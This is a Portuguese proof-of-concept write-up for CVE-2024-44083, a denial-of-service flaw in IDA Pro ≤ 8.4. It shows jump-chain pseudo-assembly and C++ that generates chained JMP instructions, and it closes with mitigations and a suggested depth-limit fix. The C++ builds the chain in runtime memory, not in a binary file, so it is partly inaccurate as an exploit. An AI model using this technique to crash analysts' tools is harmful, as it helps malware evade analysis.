
meu PoC do CVE-2024-44083.
os repositórios originais do PoC foram deletados (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme), então aqui está. resolvi recriá-lo para quem quiser entender como funciona ou testar sua configuração.
O IDA Pro ≤ 8.4 trava ao analisar binários com cadeias excessivas de saltos.
ida64.dll não limita o quão fundo ele vai ao seguir cadeias de saltos. então, se você tem um binário com milhares de saltos encadeados terminando no ponto de entrada, o IDA simplesmente se mata
| campo | valor |
|---|---|
| CVE | CVE-2024-44083 |
| afetado | IDA Pro ≤ 8.4 |
| componente | ida64.dll |
| CWE | CWE-770 (esgotamento de recursos) |
| impacto | travamento (DoS) |
a ideia é simples: criar uma seção cheia de saltos que ficam pulando para mais saltos
; pseudocode obviously
section .text
; thousands of these
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... keep going ...
jump_9999:
jmp payload
payload:
call _start ; this creates the cross-reference that breaks things
_start:
; IDA tries to resolve all the jumps pointing here
; boom crash
ret
O IDA tenta seguir e rastrear todos esses saltos construindo referências cruzadas e, com quantidade suficiente deles, ele simplesmente desiste e trava.
se você quisesse fazer algo assim em c++, você faria algo como:
#include <windows.h>
#include <cstring>
// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
// allocate executable memory for our jump chain
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000 jumps × 5 bytes + some extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// create 10,000 chained jumps
for (int i = 0; i < 10000; i++) {
// write JMP rel32 instruction (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP opcode
// calculate relative offset to next jump (5 bytes ahead)
int32_t rel = 5;
// copy the 4-byte relative offset
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// last jump creates circular reference
// jump back 5 bytes to create infinite loop
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// you can also return a value to make it believeable
offset += 5;
code[offset] = 0xC3; // ret
// this is the pattern that crashes IDA:
// 10,000 jumps → self-referential jump → IDA gets stuck
// no depth limit in recursion → stack overflow → crash
// cleanup
VirtualFree(code, 0, MEM_RELEASE);
}
basicamente você está apenas escrevendo um monte de instruções JMP encadeadas. quando o IDA tenta ser esperto ao analisar isso, ele fica sem pilha/memória.
se você está preso em um IDA mais antigo:
desative a análise automática antes de abrir arquivos suspeitos
limite a análise em seções suspeitas
o que a hex-rays deveria fazer:
// pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("jump chain too deep. fail.");
return; // dont crash just stop
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
literalmente, basta adicionar um limite de profundidade, só isso.
apenas para fins educacionais, não seja um babaca.